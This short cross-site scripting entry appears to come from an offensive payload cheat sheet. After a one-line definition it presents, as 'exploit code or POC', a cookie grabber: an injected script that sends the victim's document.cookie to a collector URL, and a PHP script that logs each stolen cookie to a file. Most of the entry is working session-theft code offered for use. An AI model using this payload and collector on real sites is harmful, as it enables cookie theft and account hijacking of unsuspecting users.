Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
Exploit code or POC
Cookie grabber for XSS
<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
